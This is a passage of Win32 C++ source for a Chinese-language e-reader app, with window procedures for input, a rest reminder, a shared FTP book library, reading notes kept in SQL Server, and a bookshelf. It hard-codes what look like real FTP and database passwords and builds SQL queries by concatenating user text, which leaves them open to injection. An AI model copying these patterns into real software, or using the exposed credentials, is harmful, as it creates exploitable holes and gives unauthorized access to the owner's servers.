LRESULT CALLBACK Talk9inputProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){int wmId;    HDC             hdc ;PAINTSTRUCT    ps ;TEXTMETRIC      tm ;static HFONT    hfont;static int        cxChar, cyChar,cxForm,cyForm;  static RECT      rect ;  switch (message){case WM_CREATE:{//得到界面字体的宽度、高度hdc = GetDC (hwnd) ;hfont=CreateFont((char *)"宋体",20);(HFONT)SelectObject(hdc,hfont);//选择字体GetTextMetrics (hdc, &tm) ;cxChar = tm.tmAveCharWidth ;cyChar = tm.tmHeight + tm.tmExternalLeading ;ReleaseDC (hwnd, hdc) ;ZGP_windowstoclient(hwnd,400,200);// 将指定尺寸的窗口居中显示SetWindowLong(hwnd, GWL_STYLE, WS_SYSMENU | WS_CAPTION | WS_SIZEBOX|WS_THICKFRAME);//把窗口去最大化最小化GetClientRect(hwnd, &r);获取客户区尺寸CreateWindow(TEXT("BUTTON"), TEXT(""), WS_CHILD|WS_VISIBLE|BS_GROUPBOX, 50, 80, 150, 50, hwnd, (HMENU)9000, NULL, NULL); CreateWindow(TEXT("STATIC"), TEXT("请输入:"), WS_CHILD|WS_VISIBLE, 50, 80, 150, 50, hwnd, (HMENU)9001, NULL, NULL);         CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), TEXT(""), WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL , 50, 80, 150, 50, hwnd, (HMENU)9002, NULL, NULL);CreateWindow(TEXT("BUTTON"), TEXT("确定"),WS_CHILD|WS_VISIBLE| BS_DEFPUSHBUTTON,50, 80, 150, 50, hwnd,(HMENU)9003, NULL,NULL);CreateWindow(TEXT("BUTTON"), TEXT("取消"),WS_CHILD|WS_VISIBLE| BS_DEFPUSHBUTTON,50, 80, 150, 50, hwnd,(HMENU)9004, NULL,NULL);string strtemp=inputstr;if (strtemp!=""){SetWindowText(GetDlgItem(hwnd,9002),inputstr); memset(inputstr, 0, 50);//一定要清掉内存,不然会.......                 }//设置控件字体for (int i=9000;i<=9004;i++)SendMessage(GetDlgItem(hwnd,i),WM_SETFONT,(WPARAM)hfont,0); return 0;}case   WM_SIZE:{GetClientRect (hwnd, &rect);cxForm=rect.right-rect.left;//得到界面的宽度cyForm=rect.bottom-rect.top;//得到界面的高度MoveWindow(GetDlgItem(hwnd,9000),5,2,cxForm-10,cyForm-10,TRUE);MoveWindow(GetDlgItem(hwnd,9001),cxChar*5,cyChar*2,cxChar*8,cyChar+5,TRUE);MoveWindow(GetDlgItem(hwnd,9002),cxChar*13,cyChar*2-3,cxForm-cxChar*13-cxChar*4,cyChar+5,TRUE);MoveWindow(GetDlgItem(hwnd,9003),(cxForm-cxChar*9)/2/2,cyChar*4,cxChar*9,cyChar+5,TRUE);//按钮对半居中显示MoveWindow(GetDlgItem(hwnd,9004),(cxForm-cxChar*9)/2+(cxForm-cxChar*9)/2/2,cyChar*4,cxChar*9,cyChar+5,TRUE);//按钮对半居中显示}case WM_COMMAND:{wmId = LOWORD(wParam);switch(wParam){case 9003://确定{memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会.......    GetWindowText(GetDlgItem(hwnd,9002),inputstr,MAX_PATH);string strtemp=inputstr;if (strtemp==""){MessageBox(hwnd,"没有输入内容!","提示",0);return 0;}DestroyWindow(hwnd);return 0;}case 9004://取消{memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会.......  DestroyWindow(hwnd);return 0;}          }return 0;}         case WM_CTLCOLORSTATIC:{HDC hdc = (HDC)wParam;SetTextColor(hdc, 0);//SelectObject(hdc,GetStockObject(SYSTEM_FIXED_FONT));return (BOOL)((HBRUSH)GetStockObject(NULL_BRUSH));      }case WM_DESTROY:PostQuitMessage(0);return 0;}return DefWindowProc(hwnd, message, wParam, lParam);
}//talk8窗口响应事件处理 ==时间提醒
LRESULT CALLBACK Talk8TeaTimerProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){int wmId; static int ts;static DWORD beepint;switch (message){case WM_CREATE:{SetTimer(hwnd,80001,1000,NULL);//P795设置定时器ts=0;beepint=1137;return 0;}case WM_TIMER://处理定时器消息{if (wParam==80001){ts++;if (ts>10){DestroyWindow(hwnd);//P128销毁指定的窗口,return 0;}SetWindowPos(hwnd, HWND_TOPMOST, 100, 100, 600, 300, SWP_NOSIZE|SWP_DRAWFRAME|SWP_NOMOVE);//P139变更窗口的新属性 将窗口置顶 SWP_NOSIZE|SWP_NOMOVE|              InvalidateRect(hwnd,NULL,TRUE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景FlashWindow(hwnd,true);//该函数让指定的窗口闪烁一次P496//beepint=beepint+100;Beep(beepint,500);//static DWORD beepint; beepint=37-32767//MessageBeep(0xFFFFFFFF);//MB_ICONASTERISK||MB_ICONHAND   MB_ICONQUESTION这个没声}return 0;}        case WM_PAINT:      //重画窗口客户区消息处理mainpaint{PAINTSTRUCT ps;TEXTMETRIC chartm; HDC hdc=BeginPaint ( hwnd,&ps );//创建字体hFont=CreateFont((char*)"宋体",83);(HFONT)SelectObject(hdc,hFont);//选择字体//得到当前字体的高度和宽度GetTextMetrics (hdc, &chartm) ;int cxChar = chartm.tmAveCharWidth;int cyChar = chartm.tmHeight + chartm.tmExternalLeading ;           GetClientRect(hwnd, &r);获取客户区尺寸SetTextColor(hdc, zts);//设置显示字体颜色SetBkMode(hdc,TRANSPARENT);// 设置TextOut文本背景色模式为透明   char char_hh[30]={0};time_t now = time(0);struct tm *ltm = localtime(&now);lstrcpy(char_hh,"请注意休息");int char_len=strlen(char_hh);TextOut(hdc,(r.right-r.left-char_len*cxChar)/2,10,char_hh,char_len);sprintf(char_hh,"%d:%d:%d",ltm->tm_hour,ltm->tm_min,ltm->tm_sec);char_len=strlen(char_hh);TextOut(hdc,(r.right-r.left-char_len*cxChar)/2,130,char_hh,char_len);      //输出到窗口的文本)DeleteObject(hFont);ReleaseDC (hwnd, hdc) ;          EndPaint ( hwnd,&ps );return 0;}    case WM_CTLCOLORSTATIC:{HDC hdc = (HDC)wParam;SetTextColor(hdc, 0);//SelectObject(hdc,GetStockObject(SYSTEM_FIXED_FONT));return (BOOL)((HBRUSH)GetStockObject(NULL_BRUSH));      }case WM_DESTROY://SetTimer(MAIN_hwnd,ID_TIMER2,5000,NULL);//建立一个定时器,程序运行后5秒执行KillTimer(hwnd,80001);//P795取消定时器PostQuitMessage(0);return 0;default:return DefWindowProc(hwnd, message, wParam, lParam);}return 0;
}//talk7窗口响应事件处理 ==共享图书
LRESULT CALLBACK Talk7SharebooksProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){HDC             hdc;PAINTSTRUCT     ps ;TEXTMETRIC      tm ;static HFONT    hfont;static int        cxChar, cyChar,cxForm,cyForm;  static RECT      rect ;  int wmId;   char * ftpip=(char*)"lovegp.gotoftp5.com";char * ftpusername=(char*)"lovegp";char * ftppassword=(char*)"Q5f8h8p4x5";   static string ftppath="/wwwroot/ftp/";   string localfile=Get_Run_Path_ZGP();localfile=localfile+"GPBOOK\\";switch (message){case WM_CREATE:{SetCursor(LoadCursor(NULL,IDC_WAIT));//切换为等待光标GetClientRect(hwnd, &r);获取客户区尺寸//建立控件KJ_TALK7_LISTBOX1 = CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("LISTBOX"), NULL, WS_CHILD|WS_VISIBLE|LBS_NOTIFY|WS_VSCROLL, 0,0,r.right-r.left,r.bottom-r.top+13, hwnd, (HMENU)IDD_TALK7_LISTBOX1, NULL, NULL);//WS_VSCROLL|WS_HSCROLL| |WS_BORDER                         KJ_TALK7_TEXT1=CreateWindow(TEXT("STATIC"), TEXT("FTP目录:"), WS_CHILD|WS_VISIBLE, 10, 10, 75, 15, hwnd, (HMENU)IDD_TALK7_TEXT1, NULL, NULL);           KJ_TALK7_EDIT1=CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"), ftppath.c_str(), WS_CHILD|WS_VISIBLE|WS_BORDER|ES_AUTOHSCROLL ,  80, 10, 162, 20, hwnd, (HMENU)IDD_TALK7_EDIT1, NULL, NULL);           //得到界面字体的宽度、高度hdc = GetDC (hwnd) ;hfont=CreateFont((char *)"宋体",20);(HFONT)SelectObject(hdc,hfont);//选择字体GetTextMetrics (hdc, &tm) ;cxChar = tm.tmAveCharWidth ;cyChar = tm.tmHeight + tm.tmExternalLeading ;ReleaseDC (hwnd, hdc) ;ZGP_windowstoclient(hwnd,500,700);// 将指定尺寸的窗口居中显示//设置控件字体SendMessage(KJ_TALK7_LISTBOX1,WM_SETFONT,(WPARAM)hfont,0);  SendMessage(KJ_TALK7_TEXT1,WM_SETFONT,(WPARAM)hfont,0); SendMessage(KJ_TALK7_EDIT1,WM_SETFONT,(WPARAM)hfont,0); //获取共享图书目录ftp_DisplayFtpDir(ftpip, 21, ftpusername, ftppassword, ftppath.c_str(),false);//获取共享图书目录SetCursor(LoadCursor(NULL,IDC_ARROW));//恢复光标return 0;}case   WM_SIZE:{GetClientRect (hwnd, &rect);cxForm=rect.right-rect.left;//得到界面的宽度cyForm=rect.bottom-rect.top;//得到界面的高度
/*                  cxForm=LOWORD(lParam);cyForm=HIWORD(lParam); */MoveWindow(KJ_TALK7_LISTBOX1,0,cyChar*2,cxForm,cyForm-cyChar*1,TRUE);MoveWindow(KJ_TALK7_TEXT1,cxChar,cyChar/2,cxChar*9,cyChar,TRUE);//FTP目录输入框 MoveWindow(KJ_TALK7_EDIT1,cxChar*10,cyChar/2,cxForm-cxChar*11,cyChar+5,TRUE);return 0;}       case WM_CONTEXTMENU://右键菜单{//Win32创建弹出菜单POINT point;::GetCursorPos(&point);//得到鼠标的当前位置HMENU hMenuPopup = CreatePopupMenu () ;AppendMenu(hMenuPopup,     MF_STRING, 30, "返回上级目录");AppendMenu(hMenuPopup,     MF_STRING, 31, "上传图书");if (username=="lovegp"){AppendMenu(hMenuPopup,     MF_STRING, 33, "删除目录或图书");AppendMenu(hMenuPopup,     MF_STRING, 34, "新建目录");AppendMenu(hMenuPopup,     MF_STRING, 35, "目录或文件更名");}TrackPopupMenu (hMenuPopup, TPM_RIGHTBUTTON, point.x, point.y, 0, hwnd, NULL) ;DestroyMenu (hMenuPopup);return 0;}case WM_COMMAND:{wmId = LOWORD(wParam);  if (wmId==IDD_TALK7_LISTBOX1 && HIWORD(wParam) == LBN_DBLCLK ){INT nIndex = (int)SendMessage(KJ_TALK7_LISTBOX1, LB_GETCURSEL, 0, 0);if (nIndex==-1) break;char buff[MAX_PATH];SendMessage(KJ_TALK7_LISTBOX1, LB_GETTEXT, nIndex, (LPARAM)buff);//得到LISTBOX选中的内容string strtemp=buff;//判断是否目录if (strtemp.front()=='[' && strtemp.back()==']'){//去[]符号方法二strtemp=strtemp.erase(0,1);strtemp.pop_back();                    //连接FTP目录路径ftppath=ftppath+strtemp+"/";SetWindowText(GetDlgItem(hwnd,IDD_TALK7_EDIT1),ftppath.c_str());//获取共享图书目录ftp_DisplayFtpDir(ftpip, 21, ftpusername, ftppassword, ftppath.c_str(),false);}else{/*                    if (MessageBox(hwnd,"你要下载该文件吗?","提示",MB_YESNO|MB_ICONQUESTION)==IDNO ){return 0;} */INT nIndex = (int)SendMessage(KJ_TALK7_LISTBOX1, LB_GETCURSEL, 0, 0);if (nIndex==-1) break;char buff[MAX_PATH];SendMessage(KJ_TALK7_LISTBOX1, LB_GETTEXT, nIndex, (LPARAM)buff);//得到LISTBOX选中的内容string ftpfile=ftppath+buff;localfile=localfile+buff;bool havefile=true;
//                  if (!checkfile(localfile))//如果本地没有此文件,则从FTP服务器上下载该文件
//                  {if (ftp_down_file1(hwnd,ftpip, 21, ftpusername, ftppassword, localfile.c_str(), ftpfile.c_str(),false))//从FTP下载文件{havefile=true;} else{havefile=false;MessageBox(NULL,"下载失败,请重新下载!","提示",MB_OK);}
//                  }if (havefile)//如果有此文件了,则读取到内存中{transform(localfile.begin(), localfile.end(), localfile.begin(),::toupper);//小写转大写if (localfile.find(".TXT")!=string::npos||localfile.find(".CPP")!=string::npos)                      {   bookname=localfile;booknr=UnicodeToANSI(ReadFile(localfile));//   //得到书本内容//booknr=booknr.substr(0,10000);//截取5000个字节RECT rt;SystemParametersInfo(SPI_GETWORKAREA,   0,   &rt,   0);    // 获得桌面工作区大小int cx=rt.right-rt.left;int cy=rt.bottom-rt.top;BookPreview=2;//第二种模式DisplayTalk(hwnd,talk3,"talk3","图书预览",cx-200,cy-100);                        }else{ShellExecute(NULL,"open",localfile.c_str(), NULL, NULL, SW_SHOWNORMAL); }}}return 0;}if (wmId==30)//返回上级目录{if (ftppath=="/wwwroot/ftp/"){MessageBox(hwnd,"已经到顶层目录了!","提示",0);return 0;}int i=ftppath.rfind("/");ftppath=ftppath.substr(0,i);i=ftppath.rfind("/");ftppath=ftppath.substr(0,i+1);SetWindowText(GetDlgItem(hwnd,IDD_TALK7_EDIT1),ftppath.c_str());ftp_DisplayFtpDir(ftpip, 21, ftpusername, ftppassword, ftppath.c_str(),false);     }if (wParam==34 ) //新建目录{DisplayTalk(hwnd,talk9,"talk9","输入操作",350,350);string strtemp=inputstr;if (strtemp==""){return 0;}ftp_creat_Directory(ftpip, 21,ftpusername, ftppassword, (char *)strtemp.c_str(),ftppath.c_str(), false);          //获取共享图书目录ftp_DisplayFtpDir(ftpip, 21, ftpusername, ftppassword, ftppath.c_str(),false);return 0;}if (wParam==35 ) //目录更名{int nIndex = (int)SendMessage(KJ_TALK7_LISTBOX1, LB_GETCURSEL, 0, 0);if (nIndex!=-1){SendMessage(KJ_TALK7_LISTBOX1, LB_GETTEXT, nIndex, (LPARAM)inputstr);//得到LISTBOX选中的内容string oldstrtemp1=inputstr;//判断是否目录if (oldstrtemp1.front()=='[' && oldstrtemp1.back()==']'){//去[]符号方法二oldstrtemp1=oldstrtemp1.erase(0,1);oldstrtemp1.pop_back(); strcpy(inputstr,oldstrtemp1.c_str());}              }DisplayTalk(hwnd,talk9,"talk9","输入操作",350,350);string newstrtemp=inputstr;if (newstrtemp==""){return 0;}nIndex = (int)SendMessage(KJ_TALK7_LISTBOX1, LB_GETCURSEL, 0, 0);if (nIndex==-1) break;char buff[MAX_PATH];SendMessage(KJ_TALK7_LISTBOX1, LB_GETTEXT, nIndex, (LPARAM)buff);//得到LISTBOX选中的内容string oldstrtemp=buff;//判断是否目录if (oldstrtemp.front()=='[' && oldstrtemp.back()==']'){//去[]符号方法二oldstrtemp=oldstrtemp.erase(0,1);//删除第一个字符oldstrtemp.pop_back();//弹出最后一个字符                       }//连接FTP目录路径oldstrtemp=ftppath+oldstrtemp;            newstrtemp=ftppath+newstrtemp;ftp_rename_Directory(ftpip, 21,ftpusername, ftppassword, (char *)oldstrtemp.c_str(),(char *)newstrtemp.c_str(),ftppath.c_str(), false);         //获取共享图书目录ftp_DisplayFtpDir(ftpip, 21, ftpusername, ftppassword, ftppath.c_str(),false);return 0;}if (wmId == 33) //删除图书  {if (MessageBox(hwnd,"真的要删除该文件吗?","提示",MB_YESNO|MB_ICONQUESTION)==IDNO ){return 0;}if (username=="11888" || username=="lovegp"){INT nIndex = (int)SendMessage(KJ_TALK7_LISTBOX1, LB_GETCURSEL, 0, 0);if (nIndex==-1) break;char buff[MAX_PATH];SendMessage(KJ_TALK7_LISTBOX1, LB_GETTEXT, nIndex, (LPARAM)buff);//得到LISTBOX选中的内容string ftpfile=ftppath+buff;if (ftp_delete_file(ftpip, 21,ftpusername, ftppassword,  ftpfile.c_str(),false))//从FTP下载文件{ftp_DisplayFtpDir(ftpip, 21, ftpusername, ftppassword, ftppath.c_str(),false);} else{MessageBox(NULL,"删除失败!","提示",MB_OK);}} else{MessageBox(NULL,"你没有删除权限!","提示",MB_OK); }return 0;  } if (wmId == 31) //上传图书      {string localfile1 = GetOpenFileName();if (localfile1!=""){int fz=localfile1.rfind('\\');//string.rfind  从字符串右边开始找字符,返回位置string tempname=localfile1.substr(fz+1,localfile1.size()-fz-1);  //截取文件名string ftpfile=ftppath+tempname;if(ftp_upload_file1(hwnd,ftpip, 21, ftpusername, ftppassword, localfile1.c_str(), ftpfile.c_str(),false))//上传文件到FTP{ftp_DisplayFtpDir(ftpip, 21, ftpusername, ftppassword, ftppath.c_str(),false);MessageBox(NULL,"文件上传成功!","提示",MB_OK);}else{MessageBox(NULL,"文件上传失败!","提示",MB_OK);}                      }   return 0;}break;}           case WM_CTLCOLORSTATIC:{HDC hdc = (HDC)wParam;SetTextColor(hdc, 0);//SelectObject(hdc,GetStockObject(SYSTEM_FIXED_FONT));return (BOOL)((HBRUSH)GetStockObject(NULL_BRUSH));      }case WM_DESTROY:PostQuitMessage(0);return 0;default:return DefWindowProc(hwnd, message, wParam, lParam);}return 0;
}//talk6窗口响应事件处理--读书笔记
LRESULT CALLBACK Talk6NoteProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){int wmId; HDC             hdc ;PAINTSTRUCT    ps ;TEXTMETRIC      tm ;static HFONT    hFont;static int        cxChar, cyChar,cxClient,cyClient;  static RECT      rect ;  switch (message){case WM_KEYDOWN:                //遇到非系统字符所作的处理{if (wParam==27)//退出程序ESC{DestroyWindow(hwnd);return 0;}}      case WM_CREATE:{//GetClientRect(hwnd, &r);获取客户区尺寸KJ_TALK6_MEMO1 = CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("EDIT"),"", //建立多行EDIT编辑控件WS_CHILD|WS_VISIBLE|WS_BORDER|ES_MULTILINE | ES_WANTRETURN | WS_VSCROLL | ES_AUTOVSCROLL, 0, 0, 100, 100, hwnd, (HMENU)IDD_TALK6_MEMO1, NULL, NULL);//得到界面字体的宽度、高度hdc = GetDC (hwnd) ;//创建字体hFont=CreateFont((char*)"宋体",20);    (HFONT)SelectObject(hdc,hFont);//选择字体GetTextMetrics (hdc, &tm) ;cxChar = tm.tmAveCharWidth ;cyChar = tm.tmHeight + tm.tmExternalLeading ;ReleaseDC (hwnd, hdc) ;         //设置控件字体SendMessage(KJ_TALK6_MEMO1,WM_SETFONT,(WPARAM)hFont,0); //操作控件//mssql数据库操作SQLHENV henv = NULL;  //环境句柄SQLHDBC hdbc = NULL; //odbc连接句柄SQLHSTMT hstmt = NULL; //语句句柄SQLRETURN retcode;SQLCHAR connout[256];SQLSMALLINT connout_len;SQLCHAR connstr[] = "DRIVER={SQL Server};SERVER=sql.cd134.vhostgo.com;UID=lovegpdata;PWD=38730523;DATABASE=lovegpdata;CharSet=gb2312;";//SQLCHAR connstr[] = "Driver={Microsoft Access Driver (*.mdb)};Dbq=fin.mdb;Uid=Admin;Pwd=;CharSet=gbk;";retcode = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE,&henv); //分配环境retcode = SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (void*)SQL_OV_ODBC3, 0);//设置环境属性retcode = SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc);//分配链结retcode = SQLDriverConnect(hdbc, NULL, connstr, SQL_NTS, connout, sizeof(connout),&connout_len, SQL_DRIVER_NOPROMPT);//创建数据库链结/*           char temp[MAX_PATH];sprintf(temp,"error:%d",retcode);MessageBox(NULL,temp,"dd",0); *///成功连接数据库MSSQLif(retcode == SQL_SUCCESS || retcode == SQL_SUCCESS_WITH_INFO)//{//MessageBox(NULL,"成功连接数据库MSSQL","dd",0);retcode = SQLAllocHandle(SQL_HANDLE_STMT, hdbc, &hstmt);string sqltemp="SELECT TOP (50) * FROM [lovegpdata].[note] where username='"+username+"'";retcode = SQLPrepare(hstmt, (SQLCHAR *)sqltemp.c_str(), SQL_NTS);//准备sql查询   retcode = SQLExecute(hstmt);//执行SQL命令 0是成功(SQL_SUCCESS),-1是失败SQLINTEGER cbsatid=SQL_NTS;if (retcode == SQL_SUCCESS) { while (TRUE)//while (retcode!=SQL_NO_DATA_FOUND) //循环从结果集中取每一行数据{retcode = SQLFetch(hstmt); if (retcode == SQL_ERROR || retcode == SQL_SUCCESS_WITH_INFO) //SQL_SUCCESS_WITH_INFO:出现非致命的错误{  MessageBox(NULL,"取数据集时发生错误!","提示",0);break;} if (retcode == SQL_SUCCESS || retcode == SQL_SUCCESS_WITH_INFO){                SQLCHAR data1[4000];SQLGetData(hstmt, 3, SQL_C_CHAR, data1, 4000, &cbsatid);string strtemp1=(char *)data1;SendMessage(KJ_TALK6_MEMO1, EM_SETLIMITTEXT, 4000, 0);//设置多行EDIT最大字符限制,如果第三个参数设置为0,则可以容纳 64,000 characters.//SendMessage(KJ_TALK6_MEMO1, EM_SETLIMITTEXT, (int)booknr.size()+1000, 0);//设置多行EDIT最大字符限制SetWindowText(KJ_TALK6_MEMO1,(char *)data1);//将网上读取的书本内容显示在EDIT中;booknr="";SetFocus(KJ_TALK6_MEMO1);int i=GetWindowTextLength(KJ_TALK6_MEMO1)+1;SendMessage(KJ_TALK6_MEMO1,EM_SETSEL,i,i);//定位到文末Oldtalk6memoProc = SetWindowLong(KJ_TALK6_MEMO1,GWL_WNDPROC, (LONG)talk6memoProc);           break;}else{if (retcode==SQL_NO_DATA_FOUND){sqltemp="INSERT INTO [lovegpdata].[note] ([username], [note]) VALUES ('"+username+"', NULL)";retcode = SQLAllocHandle(SQL_HANDLE_STMT, hdbc, &hstmt);//要加这一句,对原数据集进行释放retcode = SQLPrepare(hstmt, (SQLCHAR *)sqltemp.c_str(), SQL_NTS);//准备sql查询    retcode = SQLExecute(hstmt);//执行SQL命令 0是成功(SQL_SUCCESS),-1是失败if (retcode!=0)MessageBox(hwnd,"插入一条新记录出错误!","提示",0);}elseMessageBox(hwnd,"取数据集时发生错误1!","提示",0);break;}}}else{MessageBox(hwnd,"执行SQL命令发生错误!","提示",0);}}else{MessageBox(hwnd,"连接远程数据库失败!","提示",0);} if(hstmt){SQLFreeHandle(SQL_HANDLE_STMT, hstmt);//释放语句句柄hstmt = NULL;}if(hdbc){SQLDisconnect(hdbc);//断开连接SQLFreeHandle(SQL_HANDLE_DBC, hdbc);//释放连接句柄hdbc = NULL;}if (henv){SQLFreeHandle(SQL_HANDLE_ENV, henv);//释放环境句柄henv = NULL;}           return 0;}case WM_SIZE:{cxClient = LOWORD (lParam) ; //得到客户区宽度cyClient = HIWORD (lParam) ; //得到客户区高度MoveWindow(KJ_TALK6_MEMO1,0, 0, cxClient, cyClient,FALSE);//自动调整MEMO1的尺寸
/*      GetClientRect(hwnd, &r);获取客户区尺寸MoveWindow(KJ_TALK6_MEMO1,0, 0, r.right-r.left, r.bottom-r.top,FALSE); */return 0;       }       case WM_CTLCOLORSTATIC:{HDC hdc = (HDC)wParam;SetTextColor(hdc, 0);//SelectObject(hdc,GetStockObject(SYSTEM_FIXED_FONT));return (BOOL)((HBRUSH)GetStockObject(NULL_BRUSH));      }case WM_DESTROY://写入本地硬盘{if (SendMessage(KJ_TALK6_MEMO1, EM_GETMODIFY, 0,0 )==FALSE)//判断EDIT的内容是否被修改{//MessageBox(hwnd,"内容没被修改!","提示",0);PostQuitMessage(0);return 0;}DWORD dwWritten;char *buff;int i=GetWindowTextLength(KJ_TALK6_MEMO1)+1;if (i==1){if (MessageBox(hwnd,"你确定要保存空白数据吗?","提示",MB_YESNO|MB_ICONQUESTION)==IDNO ){PostQuitMessage(0);return 0;}}    buff=(char*)malloc(i);GetWindowText(KJ_TALK6_MEMO1,buff,i);string str_write=buff;
/*          string FN=Get_Run_Path_ZGP();//得到当前程序运行的目录FN=FN+"GPBOOK\\读书笔记-"+username+".txt";WriteToFile(str_write,FN);//写入文件 *///mssql数据库操作SQLHENV henv = NULL;  //环境句柄SQLHDBC hdbc = NULL; //odbc连接句柄SQLHSTMT hstmt = NULL; //语句句柄SQLRETURN retcode;SQLCHAR connout[256];SQLSMALLINT connout_len;SQLCHAR connstr[] = "DRIVER={SQL Server};SERVER=sql.cd134.vhostgo.com;UID=lovegpdata;PWD=38730523;DATABASE=lovegpdata;CharSet=gb2312;";//SQLCHAR connstr[] = "Driver={Microsoft Access Driver (*.mdb)};Dbq=fin.mdb;Uid=Admin;Pwd=;CharSet=gbk;";retcode = SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE,&henv); //分配环境retcode = SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (void*)SQL_OV_ODBC3, 0);//设置环境属性retcode = SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc);//分配链结retcode = SQLDriverConnect(hdbc, NULL, connstr, SQL_NTS, connout, sizeof(connout),&connout_len, SQL_DRIVER_NOPROMPT);//创建数据库链结/*          char temp[MAX_PATH];sprintf(temp,"error:%d",retcode);MessageBox(NULL,temp,"dd",0); *///成功连接数据库MSSQLif(retcode == SQL_SUCCESS || retcode == SQL_SUCCESS_WITH_INFO)//{//MessageBox(NULL,"成功连接数据库MSSQL","dd",0);retcode = SQLAllocHandle(SQL_HANDLE_STMT, hdbc, &hstmt);string sqltemp="UPDATE [lovegpdata].[note] SET note = '"+str_write+"'  where username='"+username+"'";str_write.clear();retcode = SQLPrepare(hstmt, (SQLCHAR *)sqltemp.c_str(), SQL_NTS);//准备sql查询  retcode = SQLExecute(hstmt);//执行SQL命令 0是成功(SQL_SUCCESS),-1是失败SQLINTEGER cbsatid=SQL_NTS;if (retcode == SQL_SUCCESS) { MessageBox(hwnd,"已经成功保存!","提示",0);}else{MessageBox(hwnd,"执行SQL命令发生错误!","提示",0);
/*                  delete[] buff;KillTimer(hwnd,60010);//P795取消定时器*///PostQuitMessage(0); }}else{MessageBox(hwnd,"连接远程数据库失败!","提示",0);} if(hstmt){SQLFreeHandle(SQL_HANDLE_STMT, hstmt);//释放语句句柄hstmt = NULL;}if(hdbc){SQLDisconnect(hdbc);//断开连接SQLFreeHandle(SQL_HANDLE_DBC, hdbc);//释放连接句柄hdbc = NULL;}if (henv){SQLFreeHandle(SQL_HANDLE_ENV, henv);//释放环境句柄henv = NULL;}            delete[] buff;PostQuitMessage(0);return 0;}default:return DefWindowProc(hwnd, message, wParam, lParam);}return 0;
}//talk5窗口响应事件处理 ==书架
LRESULT CALLBACK Talk5BookstackProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){int wmId;    switch (message){case WM_CONTEXTMENU://右键菜单{//Win32创建弹出菜单POINT point;::GetCursorPos(&point);//得到鼠标的当前位置HMENU hMenuPopup = CreatePopupMenu () ;AppendMenu(hMenuPopup,     MF_STRING, 21, "删除当前书签");/*AppendMenu(hMenuPopup,     MF_SEPARATOR, 0, NULL) ;AppendMenu(hMenuPopup,     MF_STRING, 2, "配置");AppendMenu(hMenuPopup,     MF_STRING, 3, "书架");AppendMenu(hMenuPopup,     MF_STRING, 4, "图书馆") ;AppendMenu(hMenuPopup,     MF_SEPARATOR, 0, NULL) ;AppendMenu(hMenuPopup,     MF_STRING, 5, "阅读剪切板") ;AppendMenu(hMenuPopup,     MF_STRING, 6, "本地图书") ;
*/TrackPopupMenu (hMenuPopup, TPM_RIGHTBUTTON, point.x, point.y, 0, hwnd, NULL) ;DestroyMenu (hMenuPopup);return 0;}case WM_SIZE:{MoveWindow(KJ_TALK5_LISTBOX1,0,0,LOWORD(lParam),HIWORD(lParam),TRUE);break;       }case WM_CREATE:{SetCursor(LoadCursor(NULL,IDC_WAIT));//切换为等待光标//SetCursor(LoadCursor(NULL,IDC_ARROW));//恢复光标GetClientRect(hwnd, &r);获取客户区尺寸KJ_TALK5_LISTBOX1 = CreateWindowEx(WS_EX_CLIENTEDGE, TEXT("LISTBOX"), NULL, WS_CHILD|WS_VISIBLE|LBS_NOTIFY|WS_VSCROLL, 0,0,r.right-r.left,r.bottom-r.top+13, hwnd, (HMENU)IDD_TALK5_LISTBOX1, NULL, NULL);//WS_VSCROLL|WS_HSCROLL| |WS_BORDER                         //创建字体HFONT hFont=CreateFont((char*)"宋体",23);      //设置控件字体SendMessage(KJ_TALK5_LISTBOX1,WM_SETFONT,(WPARAM)hFont,0);  //获取书架 string str1=geturl("http://lovegp.cn/gpbook/gpbooksq.asp?cz=show&username="+username);if (str1!=""){//将str1内容按换行符截取到BOOKLIST中booklist.clear();string str2="";for (int i=0;i<str1.size();i++){if (str1[i]==13 || str1[i]==10){if (str2!="" && str2!="0" ) booklist.push_back(str2);//SendMessage(KJ_TALK2_LISTBOX2, LB_ADDSTRING, 0,(LPARAM)str2.c_str());str2="";}else{str2=str2+str1[i];}}//显示BOOKLIST中的内容到KJ_TALK2.LISTBOX2中int fz;string zs1;SendMessage(KJ_TALK5_LISTBOX1,LB_RESETCONTENT ,0,0L);//清空列表框for (int i=0;i<booklist.size();i++){fz=booklist[i].find('=');//string.rfind  从字符串右边开始找字符,返回位置zs1=booklist[i].substr(0,fz);  // s2 = "is i"SendMessage(KJ_TALK5_LISTBOX1, LB_ADDSTRING, 0,(LPARAM)zs1.c_str());}}//操作控件//重新处理EDIT的事件// SetCursor(LoadCursor(NULL,IDC_WAIT));//切换为等待光标SetCursor(LoadCursor(NULL,IDC_ARROW));//恢复光标return 0;}case WM_COMMAND:{wmId = LOWORD(wParam);if (wmId == 21) //删除书签{INT nIndex = (int)SendMessage(KJ_TALK5_LISTBOX1, LB_GETCURSEL, 0, 0);string tempbooklist=booklist[nIndex];//截取booknameint fz=tempbooklist.find('=');//string.rfind  从字符串右边开始找字符,返回位置bookname=tempbooklist.substr(0,fz)+".txt";  // s2 = "is i"tempbooklist=  tempbooklist.substr(fz+1,tempbooklist.size()-fz);//截取bookwzfz=tempbooklist.find('=');//string.rfind  从字符串右边开始找字符,返回位置string bookwz=tempbooklist.substr(0,fz);  // s2 = "is i"tempbooklist=  tempbooklist.substr(fz+1,tempbooklist.size()-fz);                   //截取bookidfz=tempbooklist.find('=');//string.rfind  从字符串右边开始找字符,返回位置string 